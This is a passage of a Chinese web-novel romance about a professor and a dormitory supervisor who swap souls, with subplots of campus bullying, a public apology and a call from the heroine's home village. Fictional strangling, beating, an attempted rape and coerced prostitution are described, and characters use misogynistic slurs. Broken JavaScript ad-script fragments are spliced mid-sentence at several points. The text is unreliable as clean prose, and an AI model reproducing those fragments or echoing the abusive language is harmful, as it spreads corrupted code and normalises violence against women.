唐文译名下随随便便拿出来的一套房子就价值好几千万,而他名下全部房子加起来还抵不上人家一套房子。 曾明凯心中不忿,觉得论个人才情,他一点也不输唐文译的。 自从踏足这座城市,见识了人与人的巨大差距,曾明凯曾多次心中失衡,暗恨老天爷的不公平。 有些东西,既然老天爷生来不给他配足,那他用自己的方法去获得有错吗? 哪怕无所不用其极。 反正曾明凯永远不会觉得自己有错。 陈丽华到小区门口后给陈雅恬打电话,陈雅恬小心翼翼的向曾明凯请示后,才逃似的出去接人。 哪怕曾经再爱,当危及到自己生命时,恋爱脑也能马上被治愈。 天黑,即使小区的路灯挺亮的。 陈丽华没有特意去往陈雅恬身上打量,所以并没有发现她脖子上的伤,以及她神色的不对劲。 见了人,她就拉着人絮絮叨叨的关心起来。 而关心的事无非就是两个孩子的感情问题,甚至开始明里暗里怂恿陈雅恬可以再大胆点,来个生米煮成熟饭也不是不行。 陈雅恬脖子上被掐的伤还没抹药,而且曾明凯是真的往死里掐的,所以她喉咙到现在还火辣辣的疼。 又因着有点小小的心虚,所以只是“嗯嗯,啊啊”敷衍的回着,并没怎么开口说话。 也幸好陈丽华絮絮叨叨她自己的,没得到回应,也只以为是女孩子脸皮薄,害羞了。 有时候吧! 人的缘分就是如此的妙不可言。 嗯,狭路相逢的缘分。 用完晚饭,沈父沈母继续往沙发上一坐,没有要离开的意思。 沈之牧哪里不明白自家父母想干嘛,不就是想拉着他进行三堂会审。 若是放平时,他肯定满足两人。 只是现在他和幺幺的情况特殊,没办法,只能想个法子先将人劝走。 直接说话,就她妈现在的兴奋劲,他说一句,她妈能反驳十句 最后,沈之牧想了想,趁着两人在厨房收拾,先停下手中动作,拿出手机给他妈发信息。 这种时候,只能先晓之以理动之以情,最后再来句威胁。 想要儿媳妇的话,就先回去,过两天他会抽空回去一趟,和他们详细解释清楚的。 不清楚他和幺幺什么时候会换回来,所以他只说过两天,没具体说哪一天。 自己生的孩子什么性格,沈母还不清楚。 想了想,反正今晚儿媳妇也见到了,还尝了儿媳妇亲手做的饺子,对于儿子的审问 也真不急于一时。 在沈之牧和白幺幺两人还没从厨房出来时,沈父沈母就借口有事先离开了。 送走沈父沈母,沈白幺幺之牧伸手轻轻拍了拍胸口,同时低低呼出了口气,而后她回头苦着脸看向身后人。 “沈教授,现在怎么办,不仅学校里的人,就连你爸妈都误会了。” 白沈之牧幺幺上前两步,很自然的牵起对方的手,“好了,别想那么多,一切就让它顺其自然。” 白幺幺先是茫然了下,而后很快反应过来,脸还是红了,眼神也不自然的闪躲起来。 她想说什么,只是咬着唇却不知道要说什么。 沈之牧抬手做了一个他想做很久的动作,他轻轻摸了摸女人的发顶,“乖,一切有我,你只要跟着自己的心走就行。” 白幺幺:……呼……她想拍胸口…她想呐喊。 没得到回应在沈之牧的预料之中,而他知道,没有回应就是最好的回应了。 唇角勾起,他道:“走吧,送我回学校。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白幺幺抬头,先是疑惑了下,而是很快反应过来,脸上才稍稍褪下去的红又爬了上来。 两人手牵手的下楼。 考虑到两人灵魂互换时,幺幺不会开车,出行不方便,沈之牧以前几天遇到个大师,说他这段时间不适合自己开车为由,刚吃饭时从沈母那边借了个司机过来。 至于沈母信不信,这些都不重要的,毕竟不就是儿子这段时间不想自己开车,不就是儿子向他借个司机用用。 不过司机明天才就位,今晚他们还是要继续打的回去。 两人手牵手行走在小区中,今晚的风很柔,吹得人很舒服。 沈之牧牵着人走得比平时更注意,没办法,身旁有个全身心依赖着他的人儿。 陈雅恬有点心不在焉,所以白幺幺他们迎面走来时,她并没有注意到。 可是陈丽华和白幺幺相处久了,远远地,白幺幺微低着头,她不确定。 没办法,这个小区可是高端住宅 ,里面住着的都是些什么人。 白幺幺怎么可能出现在这里? 再者,她一眼就认出了沈之牧,所以更觉得自己肯定是眼花了。 只是身形相似,穿衣打扮一样,绝对不可能是白幺幺的。 陈丽华不断在心里否认着。 可是当人渐渐靠近,陈丽华无法再自欺欺人。 她一时哑声,大脑也乱码宕机了。 陈丽华话说一半,突然没了声音,陈雅恬虽不在状况,但还是抬眸看了看。 就见她姑就是张着嘴却不说话,脚步也停下了,眼睛睁得大大的看向前方…… 她疑惑的也朝前方看去,然后,她的反应也没比陈丽华好到哪去。 尽管已经从明凯哥哥那里知道白幺幺那骚婊子勾搭上了学校里一个很厉害很厉害的教授,可是听到和真正见到的视觉冲击是不一样的。 即使是在黑夜里,即使月光和灯光加起来都不足以将周围照得透亮。 可是,陈雅恬还是很清楚看清牵着白幺幺那骚婊子手的男人的长相。 第99章 禁欲教授与被霸凌小可怜的反转人生(38) 怎么说,陈雅恬脑子像被灌了浆糊,晕乎乎的,根本找不出形容词来。 此时她大脑里混混沌沌的,心里就一句话在歇斯底里的叫嚣着,白幺幺那骚婊子凭什么配得上如此的男人?凭什么! “白幺幺,你不在学校怎么会在这里?还有你怎么和沈教授在一起,还……手牵手?” 相较于陈雅恬只是在心中叫嚣,却没有任何行动。 陈丽华回神后,惊呼出声,声音都有点破音。 没办法的,白幺幺和沈之牧手牵手的行为实在对她冲击太大。 该死的,她一直担心的事情还是发生了。 白幺幺这颗蒙尘的珍珠还是被人发现了吗? 什么时候的事? 怎么会这样,两人到底什么时候认识的,白幺幺又是什么时候勾搭上沈教授的? 为什么?为什么她之前都没瞧出半点端倪。 不然,不然她怎么可能会让这种结果发生,肯定会在中间搞破坏的。 凭什么,白幺幺她凭什么?还有怎么会是学校里的沈教授? 白幺幺都还没做出反应,沈之牧先皱眉,牵着人的手安抚性的紧了紧。 他也没问幺幺有没有要驻足与人聊聊的意思,直接将陈丽华两人无视掉,牵着人直接离开。 哼,他可没忘记这两人对幺幺的欺负和伤害。 再让她们蹦跶会儿,等灵魂换回来后,他可要替幺幺讨回来。 陈丽华见自己被无视了,她下意识忽视掉主导这一行为的沈之牧,身体先于大脑作出反应伸手就想去拉白幺幺的衣服。 这时陈雅恬也反应过来了,见到陈丽华的动作,眼里闪过复杂神色。 最后,她还是眼疾手快的阻止了陈丽华的动作。 脖子上的掐痕还泛着疼,陈雅恬哪里能忘记那种快要窒息死去的感觉。 如果,如果她姑姑现在再次把白幺幺得罪,到时明凯哥哥应该…… 陈雅恬整个人一个激灵,简直不敢想下去了。 陈丽华没想到会被陈雅恬拉住,她回头眼里满是疑惑。 陈雅恬一时也不知道要怎么解释。 难道要说白幺幺那个骚婊子现在不一样了,不仅自己能打,还找个了很厉害的靠山,她们姑侄俩现在就是一起冲上去也讨不了好。 还是要说明凯哥哥今天就在白幺幺那吃了大亏,甚至把一切怪罪到她头上,而她因此承受了明凯哥哥的怒火,差点被掐死。 陈雅恬只是朝人轻轻摇了摇头,压低声音道:“姑,咱们先上去,别让明凯哥哥等久了。” 陈丽华这时终于察觉出些端倪来。 放往常,以她这个侄女的性格,此刻不应该如此安静,沉得住气。 看来应该是发生了什么她不知道的,而明凯那孩子很大可能就是为此才喊她过来的。 陈丽华心有不甘的跟着陈雅恬继续向前走,只不过还是没忍住,回头狠瞪了眼白幺幺渐渐远去的背影。 相较于陈丽华的粗心大意,白幺幺只是遇见了,随意的扫了两人一眼,她就注意到陈雅恬脖子上的痕迹。 结合今天发生的所有事,她很快猜出是何人所为,心里一时挺乐的。 翌日,天朗气清。 曾明凯昨夜怎么可能休息好,早上整个人状态肉眼可见的差。 昨晚,在他阴狠凶戾的眼神逼视下,陈丽华终于将实情说了出来。 什么白幺幺痴恋他,喜欢他喜欢得不得了,一切都是假的。 假的! 不过是陈丽华出于私心和想稳住陈雅恬而编出的谎言,而他竟然傻傻的信了。 向来自诩聪明的他,竟然被这对又蠢又毒的姑侄俩玩弄戏耍了。 曾明凯第一次领悟到当断则断的重要性,暗恨自己以前作出让陈雅恬留在身边的错误决定。 本来就没怎么压下去的怒火,蹭蹭往上涨,陈丽华直接成了发泄对象。 有过前车之鉴,陈雅恬带着人进去后就没敢往曾明凯身前凑。 她站在沙发背面,方便她在曾明凯动手时,赶紧蹲下身,把自己藏起来。 不是她不想救她姑,一个被打总比两个被掐好,而且她姑不是最疼她了吗,肯定也舍不得她再被掐脖子。 再说了,骗子,她姑竟然一直都在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骗她,所以一切都是她姑咎由自取。 陈雅恬伸手小心翼翼的触碰了下脖颈,眼里布满了阴霾。 她姑什么时候变成这样子了,竟然能毫无心理负担的朝她撒谎。 真的好陌生,好可怕! 难怪明凯哥哥会如此生气,她姑简直太过分了。 要不是她姑误导她,她至于去找白幺幺的麻烦,后面也不会引发这一系列事情出来。 所以这一晚,曾明凯没休息好,可对陈丽华和陈雅恬这对姑侄来说就是不眠夜。 难怪会有这样的说法,男人家暴只有零次和无数次。 曾明凯动手过一次,就像打开了新世界的大门,甚至已经不止局限于掐脖子。 早上醒来发现灵魂还没有换回来,怎么说沈之牧有点小小的失望。 他开始期待用自己的身体一步一步走向幺幺, 然后带着幺幺去做很多很多别人处对象时会做的事。 去食堂吃早餐的路上,不断有学生和他打招呼。 没办法,今时不同往日了。 白沈之牧幺幺每每收到同学们热情的问好,他都是淡淡点头算回复。 快到食堂门口时,有个胆大点学生还和他半开玩笑道:“白姐,沈教授没给送安心早餐过来吗?他这男朋友当的也太不称职了。” 白沈之牧幺幺:…… 怕是这个学生永远也想不到,他的话直接被正主听了去。 白沈之牧幺幺很勉强的扯了扯嘴角,对着那名学生说:“谢谢同学提醒,我会转告沈教授的,相信他会改进的,以后一定会是个称职的男朋友。” 那名同学:…… 怎么这话感觉听着有点怪怪的,却不知道怪在哪里。 食堂的这个只是个小插曲,今天的重头戏就是曾明凯广播道歉。 当然,沈之牧其实并不关注这事。 对于曾明凯,以及陈丽华、陈雅恬三人的处理,肯定不可能如此轻轻带过。 他已经安排人去查曾家以及这三人的底,等这次灵魂一换回来,他会着手视情况处理,但一定不可能让几人还有机会到幺幺面前蹦跶。 第100章 禁欲教授与被霸凌小可怜的反转人生(39) 世上就没有不透风的墙,今早的学校明显比往常热闹多了。 好些这个点本不该出现在学校人也来了学校,比如早上没课又不住校的某些师生们。 早上没课,本该在宿舍睡睡懒觉的人也早早醒来了,生怕错过曾明凯广播道歉的好戏。 而一大早的,学校食堂十分的热闹,人声嘈杂。 沈之牧来到窗口准备点餐时,手机响了。 拿出来一看,是幺幺打来的,脸上神色肉眼可见的柔和了几分。 白幺幺同志绝对不会承认她是来凑热闹,顺便看看曾明凯那逼崽子笑话的。 她真的就是来送个早餐,顺便视察下沈教授将她宿管的工作完成如何,看有啥需要她再指导指导不。 听到幺幺要给他送早餐过来,而且已经在路上了。 沈之牧眼眸一凝,心中再次懊恼。 尽管此刻身体不便,可他失职了就是失职了,看来之后他很有必要恶补下相关知识。 如今网络发达,信息爆炸,有些东西不用特意去了解,自然而然就懂了。 沈之牧从未谈过对象没错,可他知道谈对象并不是简单的三个字。 在一些事上,异性可能会比较矜持不好意思提出来,但并不代表自己可以疏忽忘记去做。 而且,很多时候,情侣间要的就是个态度,为什么凡事都要等对方提出来了再做,为什么不能自己提前做功课而后主动去做。 挂了电话。 白沈之牧幺幺转身准备回宿舍,只是想到什么。 他动作停顿了下,回头冲着窗口的工作人员道:“不好意思,我对象给我送早餐来了。” 言外之意就是我不用在你这里买早餐了,很幼稚。 要不是找不到进来时质疑他不是个称职对象的同学,沈教授或许还可能更幼稚的跑去和这个同学也说一声。 当然,沈教授的这一不符合他平时人设的幼稚行为,肯定不是为了洗白他不称职这么回事。 那个同学就是开玩笑,打趣的,他哪里听不出来。 他就是想摆出一个态度,担心幺幺因为外界原因,容易缩起来。 白幺幺带过来的早餐很简单,小米粥,两样小菜以及蒸了十几个昨晚包的水饺。 该震惊的已经震惊过了,这会儿见沈白幺幺之牧提着保温袋向宿舍楼走去。 同学们还是很克制,礼貌的问好,就收回视线。 只是等人走远后,有几个同学还是止不住内心的激动,开始讨论起来。 “我记得沈教授这两天请假的,没想到关系公开后,高冷沈教授这么粘人,大早上的就过来了。” “哇,沈教授手上提着的是早餐吧!” “爱心早餐啊,没想到沈教授谈起对象来,如此贴心。” “对呀,对呀,我还以为像沈教授这样的男人即使谈对象,送爱心早餐这事也轮不到沈教授来,应该是女方反过来每天送给沈教授。” “喂喂喂,你这话说的我就不爱听了哦,恋爱中的每个女孩子都是小仙女,不能因为男的比女的看起来更优秀,女的就要各种委曲求全和倒贴。” “那个,我的话也不是这个意思,你干嘛上升到这个高度,我就是感慨下而已。” “唉,你们两真是,也幸好人家沈教授走远了。” …… 唐文译同学刚好从几人身边经过,听了个全部。 他撇嘴无声哼哼,一群无知的女人。 男人岂是能看表面的,男人如何对一个女人,全看爱不爱以及这个女人在他心中的重量。 原本听到老师才走过去,唐文译同学就想跑起来追上去。 只是这回他脑子运作得快,哪里还会再傻傻跑过去当电灯泡。 便慢悠悠的走着,听着几个女同学就老师给师娘送早餐的行为为引申,叽叽喳喳的讨论个没完。 就在唐文译同学皱眉,准备换条道走时,他被突然从身后窜出来的一群人拉走,去进行三堂会审了。 没办法,正主谁敢去问,就只有唐文译这个人或许是除了正主外知道最多内幕消息的。 曾明凯迟迟才到学校,站在校门口,他第一次发现自己与这个地方是如此的格格不入。 路过遇见的所有人,哪怕人家没看他,或者明明没在说话。 可他就是觉得对方 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就算没明着看他,也有偷偷打量他,嘴上没出声讨论他,心里也肯定在偷偷议论着他。 今早的学校仿佛所有人都在狂欢,唯独他是要上刑场的,他是他们狂欢的重要一环。 人生第一次经历如此挫折失败,也是第一次如此丢脸,曾明凯捏紧拳头,咬紧牙关,一步一步朝学校广播室走去。 他知道过了今天,他在学校好不容易塑造的形象就毁了大半。 而且,也不知道那个女人怎么和沈教授说的,哪怕对方没添油加醋,他和沈教授的梁子算是彻底结下了。 毕竟,没哪个男人能容忍别的异性觊觎自己的女人。 或许他该庆幸,庆幸那女人有如此好的身手,不然他如果真的得逞,把人强了。 后果简直不敢想象,他现在应该已经在监 狱里等待审判,而他的大好人生也彻底毁了。 同时曾明凯心中还抱着侥幸心理,想着沈教授作为人师,行事会更光明磊落些。 他今天的公开道歉后,这事应该能就此彻底揭过。 要问曾明凯心中不怨恨吗? 那是不可能的,不过大道理他都懂。 大丈夫,欲成大事必须忍常人所不能忍的。 他不后悔见了那女人后起了那样的心思,并且当机立断的付诸行动。 他唯一后悔的就是把陈雅恬那个蠢货留在身边,行动前没再谨慎点,光听陈雅恬的一面之词,没有自己去调查一番。 身后有人拍了拍他左肩,曾明凯身体一僵,不用回头已经先闻声了。 “明凯,昨天到底什么情况?还有你早上真的要广播道歉吗?” 来人是和他来学校后认识的一个好兄弟,听出对方话语中的关心,脸上表情也很真诚。 曾明凯先是给了对方一个苦笑,而后欲言又止了好几次,才憋出句话来。 “谢谢你的关心,可这次我不小心得罪的是沈教授,所以你暂时还是和我保持点距离,免得受我影响。” 对方皱了皱眉,又拍了拍曾明凯的肩膀,算是无声安慰,人却没走开。 而是继续与曾明凯并肩走着,不过没再问关于昨天的事。 第101章 禁欲教授与被霸凌小可怜的反转人生(40) 学生宿舍楼里。 白幺幺目光从两人交缠在一起的手上移开,有些为难的看着某幼稚鬼。 “沈教授,我是吃了早餐才过来的。” “我知道。” 沈之牧轻轻莞尔,目光移到白幺幺肚子上,而后很快回到她脸上,“可是你的身体还没吃。” 白幺幺:她当然知道自己的身体还没吃,不然送早餐过来干吗? 这人真是……越来越释放某不为人知的一面了。 其实沈之牧想法很简单,既然有办法看着人,他为什么要费劲的去透过自己的身体看人。 在沈之牧暗含笑意的目光注视下,白幺幺同志最终妥协了,不就是多“吃”一次早餐。 就问有谁,有她这种福利待遇,一早上能吃两次早餐,享受食物带来的双倍快乐。 哼哼,算起来,貌似都是她挣到了。 白幺幺吃得很慢,哪怕旁边有道视线一直停留在她身上,她吃饭的动作也没受半分影响。 沈之牧就静静的看着,没做其他动作打扰人吃饭,竟也不觉得无聊。 不大的房间里,画面是那么的和谐,还透着淡淡的温馨与某粉红泡泡。 原来有对象是这种感觉,见到人后,视线总是想停留在她身上。 哪怕两人独处在一个空间,只是专注的看着她吃东西,也不交流,心里却像是被填满了,很踏实。 甚至很想时间慢点,再慢点。 白幺幺带来早餐的量是综合她女性身体,以及沈教授男性灵魂来准备的。 咽下最后一个饺子,她虚掩着嘴打了一个秀气的饱嗝。 唔,真满足! 白幺幺同志有种打开了新世界大门兴奋以及跃跃欲试。 世上美食千千万万,可是人么只有一张嘴一个胃,简直不要太可惜了。 可是吧,她貌似是可以以另外一种方式拥有两张嘴,两个胃的。 白幺幺越想越美,嘴角不自觉都咧起了,心里想着后面真可以好好试试。 一天吃六顿,顿顿是不同风味的大餐,想想就美滋滋。 沈之牧视线就没在她身上离开过,见她吃个早餐都能露出这种满足的笑容,唇角也跟着勾起,眼里更是有丝丝缕缕淡淡的宠溺。 所以就这么阴差阳错的误会,白幺幺同志都不用想啥法子,之后她只要勉勉强强的接受沈教授安排,就能享受此等快乐。 白幺幺才放下筷子,沈之牧就松开手,然后两人灵魂立马换回来。 如今,两人对这如此丝滑的灵魂互换已经习惯良好了。 将碗筷收拾下,白沈之牧幺幺端着去卫生间准备洗。 白幺幺有点不好意思的想要抢着洗,她才表现出个意思,就被沈教授用眼神和行动劝退了。 算了,她吃,他洗,用她的身体洗,分工挺明确,谁也没占谁便宜。 曾明凯是在早上第二节课下课课间在学校广播室向白幺幺道歉的,同时也简单解释了下昨天两人为什么会打起来的原因,当然错误主要在他。 内容简单总结下就是他因为刚失恋,喝了点酒,想去宿舍楼里找下朋友,可一时忘记朋友住哪间宿舍,他便想找宿管问下。 只是,怎么也没想到宿管长得和他前女友很像,最关键的是,他是因为前女友劈腿才分手的。 有酒精的原因也有其他,他和白幺幺发生了点口角,后来他没注意有了过激行为,白幺幺出于自卫就反击了。 两人一来一往,他难得遇到如此会打的,一时就打得难舍难分了。 在这个公开道歉上,曾明凯还是一如既往的用上小聪明。 看似全部将责任揽到自己身上来,却又是失恋,又是被劈腿,又是长得像劈腿前女友。 最关键的是,他还因为失恋喝了酒,至于喝没喝,昨天没谁去注意这个,今天抓这点不放去深究也没意思了。 一晚上,他不知道杀死多少脑细胞,才想出了这么个既能表现出他的诚意,又对他最有利的说辞。 吃瓜群众们可以说已经搬着小板凳排排坐等着听啥爆炸性的大瓜了,毕竟大家思来想去也想不出两人会因为什么打起来。 可听完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后,怎么说,是有吃到瓜没错,但总觉得不够得劲。 同学们心中有着一个又一个的疑问,开启了热闹的讨论。 “曾明凯谈恋爱了,好像没听说过?” “那女的是谁?求哪个好心人告知下,有曾明凯这样的男朋友都劈腿!” “和沈教授对象长得很像,大家动起来,有谁有印象吗?” “感觉曾明凯挺可怜,当然,被劈腿也不是他能借此耍酒疯的理由。” “是呀,是呀,我最讨厌那些个喝了酒就控制不了自己行为的人,不管男女。” “喂喂喂,你们一个个的,这些不过是曾明凯的一面之词,听听就好。” “我觉得也是,你们想啊,要的沈教授对象就是个柔柔弱弱的,没那身武力值,后果简直不敢想象。” “就是,反正我现在对曾明凯这人无感了,说不定他女朋友就是知道他这不为人知的一面,才分手的,至于有没有劈腿,谁知道。” “就是,总的来说,沈教授对象最无辜了,平白无故遭受此无妄之灾。” “哈哈,其实说起来,咱们还要感谢曾明凯了,不然沈教授的恋情不就还不会曝光……” …… 吃瓜的都是同学老师的,既然人家都这么说了,他们又不是当事人,背后稍微讨论下,事情就过了,也没有继续扒着这件事深挖的道理。 学校广播系统还是很给力的,白幺幺他们在宿舍都能听得清清楚楚。 她竖起食指轻轻戳了戳男人的胳膊,眼眸里盛满了好奇。 “沈教授,曾明凯说的是真的吗?你们昨天真的是因为这样打起来的?” 反正白幺幺才不信了。 沈之牧微敛了下眸,遮掩住眸中一闪而过的神色,微微颔首。 “幺幺,既然曾同学已经道歉了,这事就此揭过,不过这个同学品行不怎么好,你这段时间要是学校遇到了,直接无视掉。” 灵魂互换没个规律,在他还没把人处理了,该叮嘱的还是叮嘱。 白幺幺虽有疑惑,但还是乖乖点了点头。 第102章 禁欲教授与被霸凌小可怜的反转人生(41) 学校是读书的地方,一切的风风雨雨最终慢慢归于平静 这次灵魂互换持续了五天,早上醒来发现换回来后,沈之牧竟没有喜悦和激动。 看了看时间,才四点,沈之牧却已经睡不着了。 他起来简单洗漱下,直接去书房处理事情。 这次灵魂互换的五天,事情堆积不少。 其实除了要他本人出面的事情,其他大多灵魂互换时还是可以处理的,只不过他心里本能的不想。 他和幺幺能经历如此神奇的事,是奇遇也是幸事。 他有预感灵魂互换这种情况迟早会结束,所以他想珍惜和幺幺灵魂互换的每一刻时光。 沈之牧有条不紊的一件一件处理过去,最后他打开邮箱里的一份未读邮件。 这个邮件是前天收到的,关于曾家、曾明凯、陈雅恬等的调查资料。 他点开文件,很认真的浏览起来。 一开始,沈之牧面色平静,只是越看他脸色肉眼可见的黑沉下来。 上梁不正下梁歪这句话能流传至今,真不是没道理的。 曾明凯的父亲是靠女人发家,这个靠女人可不是纯粹字面上意思。 曾父早年因较严重的工作失职被公司开除,之后有过一段时间的一蹶不振。 经济拮据时,他凭借着一副好皮相,开始诱骗几个女人做皮肉生意供养他,慢慢的,他心大了,开始扩展这门生意。 之后曾父和当地黑恶势力合作,发展黄色产业,如果会所里的女性都是自愿的,一个愿打一个愿挨那没话说。 可据查到的资料来看,不是的,里面很多花季少女是被诱拐威逼的。 更甚者,曾父手上还间接沾染了好几条人命,只不过被他花钱和使用各种手段摆平压下来了。 有这样的父亲,他儿子曾明凯能是个什么好东西。 读书时,嫉妒成绩比他好的男同学,就让他爸私下帮忙搞点小动作,让对方重则无法再来上学,轻则无心学习或者转学。 而成绩比他好的女同学,很简单。 他直接使用美男计,就算早恋影响不了对方学习,不是还有个陈雅恬也可以帮他解决这方面烦恼。 而陈雅恬就更不用说了,小小年纪做出的那些事,说又蠢又毒都是侮辱蠢毒这两个字了。 至于陈丽华,其他的不说,幺幺之所以受到陈雅恬欺负,就是拜她所赐,所以…… 沈之牧抬手捏了捏眉心,眼神冷得可怕。 专注处理事情,时间过得很快,沈之牧再看时间时已经五点半了。 这具身体好几天没运动了,他停下手中的工作,回房换了身衣服下楼去晨跑。 其实要不是时间不对,他更想换下衣服就去学校的。 晨跑时,遇到几个熟人,其中有个打完招呼,还问了句,“沈教授,好几天没看你下来跑步,还以为你出差了。” 沈之牧只是淡声回了句,“出差?嗯,算是吧。” 和幺幺的灵魂互换,解读成他灵魂出差了似乎也没毛病。 算是吧? 那人听得怪怪,想再问什么,沈之牧已经跑远了。 晨跑完,流了一身汗,沈之牧回房简单冲洗下,等他打理好自己,一看时间,已经快六点半了。 几天的相处,他知道幺幺是个好吃的。 本想亲自下厨做早餐,只是他的手艺比幺幺差了点,犹豫了下,他还是没开火。 拿上车钥匙,直奔某家口碑极好,味道也很绝的老字号私房菜馆。 同时,他也不忘给幺幺发信息,说等下给她送早餐过去,让她别去食堂吃了。 半个多小时的车程,沈之牧提前打电话订餐,到的时候直接提着东西去学校。 第一次,同学撞见沈教授给对象送早餐,会觉得新奇。 次数多了,那就见怪不怪了。 只是大家不知道,今早才是沈之牧第一次真正意义上的给幺幺送早餐。 饶是沈之牧这样的人心里竟然也会有点小紧张,担心幺幺会失望东西不是他亲自做的,又担心东西的味道会不合幺幺口味。 相较于沈教授在灵魂换回来后,竟然早早就醒来,睡不着了就起来忙活工作。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白幺幺这边依旧是一觉到……闹钟响。 事先就知道什么时候会换回来,白幺幺除了困,就是困,哪里能想起要给沈之牧打电话。 而沈之牧那边发现换回来了,没第一时间给白幺幺打电话,那不是时间不对嘛。 打过去,要是人还没醒,不是吵到人了。 而且,沈之牧觉得幺幺要是醒来发现两人换回来了,一定会很激动的打电话给他。 只是吧,他注定失望了,提着东西来到宿舍门口时,手机都没响。 也不知道沈教授这几天怎么用她身体的,反正晚上肯定是没休息好。 白幺幺醒来后迷迷瞪瞪的出去把宿舍楼大门打开,回来本想洗漱下,然后开始美好一天的。 可是,大脑传来的困意让她遵循身体本能,直接扑到床上再次睡起来。 所以,别说给沈之牧打电话了,就是沈之牧发来的信息,她都还没看到。 至于沈教授大早上的会过来送早餐,怎么说,白幺幺真没想到这茬。 只以为人刚换回去,对方应该要很忙才是,起码中午或者下午才会联系她。 敲门声响起时,白幺幺醒来了,可有点懒得动怎么办。 还是沈之牧的声音从门外传进来,她才从床上坐起来,伸了伸懒腰,下床去开门。 门开的瞬间,白幺幺调整好面部表情,既惊讶又有点赖床被抓包的难为情。 “沈教授,你怎么来了?” 沈之牧关心的问,“才睡醒?” 白幺幺同志有些尴尬的蜷缩了下圆润的脚趾头,羞涩的点了点头,小声解释起来。 “不知道为什么,醒来后觉得特别困,沾床就又睡着了。” 沈之牧听后,很快反应过来,抬起空着的那只手在白幺幺头顶轻轻揉了揉。 “幺幺,是我的错,灵魂互换的那几天,晚上都没怎么休息好,下回我会注意的。” “我带了早餐过来,既然已经醒了,我们先把早餐吃了,再去睡好不好。” 沈之牧的声音很轻柔,带着些许哄人的味道。 第103章 禁欲教授与被霸凌小可怜的反转人生(42) 白幺幺抽动了下鼻子,丝丝缕缕的香味进入她的鼻腔,脑袋跟着点了点。 她是还想睡没错,不过美食不能错过,吃饱了睡岂不是更美滋滋。 情人眼里出西施,沈之牧下意识脑中冒出这句话来。 他的幺幺,就连做抽动鼻子的小动作,瞧着都是那么可爱。 沈之牧无比自然的牵起女人柔软的小手,带着人进屋。 “洗漱了吗?没有先洗漱,出来就能吃了。” 沈之牧问着,手上却没闲着,开始将保温袋中的食盒一一拿出来放到桌上摆好。 食盒一从保温袋里拿出来,更浓郁的香气钻进白幺幺鼻子里,她小鸡啄米的点头,已经有点迫不及待想开动了。 白幺幺不仅会做还会吃,光闻味道,她就知道沈之牧带来的早餐不简单,反正肯定不可能是出自沈教授之手。 见她点头的可爱模样,沈之牧眉眼漾起笑意,动手将食盒一一打开,并拆出一双筷子递过去。 白幺幺接过筷子,笑着说了声谢谢,心里则是给沈教授大大点了个赞。 不错,这男人很好,都不用调教,自己就往模范男朋友靠拢了。 心满意足的吃完早餐,白幺幺就又开始犯困了。 沈之牧见此十分的上道,主动收拾好东西,提上要扔的垃圾。 “幺幺,你困了先睡,我去上课,中午过来喊你一起去吃饭。” 白幺幺随意摆了摆手,“沈教授,你快去忙吧。” 离开前,沈之牧深深看了人一眼,似是在邀请白幺幺做点什么,白幺幺同志很无情的当作没看到。 等人一离开,她连打了两个哈欠,倒床继续睡。 白幺幺原以为她会睡到沈之牧过来找喊她去吃饭才醒,没成想才睡一个小时就被一通电话吵醒了。 已经睡得不知道时间的她以为到饭点了,是沈之牧打过来喊她一起去吃午饭的,循着声音摸到手机,就直接接起来。 然而她猜错了,电话不是沈之牧打来的,一道陌生又熟悉的口音从手机里传出来。 “幺儿,是你吗?听说你现在是在那啥学校工作?快点把工作辞了,回来嫁人。” “瞧我这记性,你现在几岁了?反正不管几岁,都是老姑娘了,李大海,有印象吗?” “就是你姑当年死活不嫁给人家,还把人弄进监狱里的那个李大海,他们家当年可是被你姑害惨了,本以为都要绝户了,没想到那李大海入狱前耍了个女朋友,对方瞒着他偷偷给生下一个儿子来。” “幺儿,幺儿,你在听吗?” 白幺幺手死死的捂着胸口,指尖泛白,脸色同样白如纸。 电话那头妇女的声音对白幺幺来说是陌生的,可对原主来说可不是一般的熟悉。 呵呵,乡音啊! 异地他乡的,突然听到本该泪眼汪汪的。 只是白幺幺,或者更准确的说是原主刻进骨子里,即使灵魂消散了,如今听到,身体本能反应依旧如此大。 如坠冰窟,如坠地狱。 周身颤栗,才多久的功夫,身上已被汗湿,仿若水洗过般。 经历几个世界后,白幺幺能感觉到自己的灵魂得到升华,越来越强大。 她可以压下原身残留的这些意志情绪的,只不过她没有。 这个世界有点特殊,有点好玩,她认为反正要在这个世界过一辈子。 一辈子很长,她没忘记原主“曝光和改变守贞村的某些迂腐落后偏执观念,杜绝像她姑姑那样悲剧再发生”的这个心愿。 毕竟这个心愿还是她替原主说出来的,她原本计划是等灵魂互换的情况结束后,她再开始着手去完成这个心愿。 守贞村的情况,那是百来年遗留下来的问题,想解决也不差这几个月。 而且原世界中并没有这通电话。 也是,这个时候原主都烧成灰了,对方就算想打电话,打给鬼去呀。 原世界中,原主就是个炮灰工具人,发挥了完她最后的用处就早早领盒饭,之后就是男女主以及相关的男二女二、男配女配的故事。 所以原主死后,原剧情里就没再有关于守贞村的任何相关剧情了。 白幺幺缓缓松开捂着胸口的手,轻轻拍抚了两下,才对着电话那头的人轻轻“嗯”了声。 无事不登三宝殿,原主离开那个村子都十几年了,现在突然找来准没好事。 她姑且先听听对方要说什么。 得到白幺幺的回应,那人也没觉得只是得到个简简单单的“嗯”有什么。 没办法,原主在村子里时给她们的印象就是沉默寡言,半天憋不出个屁来,软弱好欺的孤女形象。 村里出来的妇人是没啥文化没错,可也知道江山易改本性难移,反正她完全不会想到人离开村里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 十几年,那性子会有什么变化。 确定人在听后,那妇人又继续说起来,语气那叫一个绘声绘色,跟在唱大戏一般。 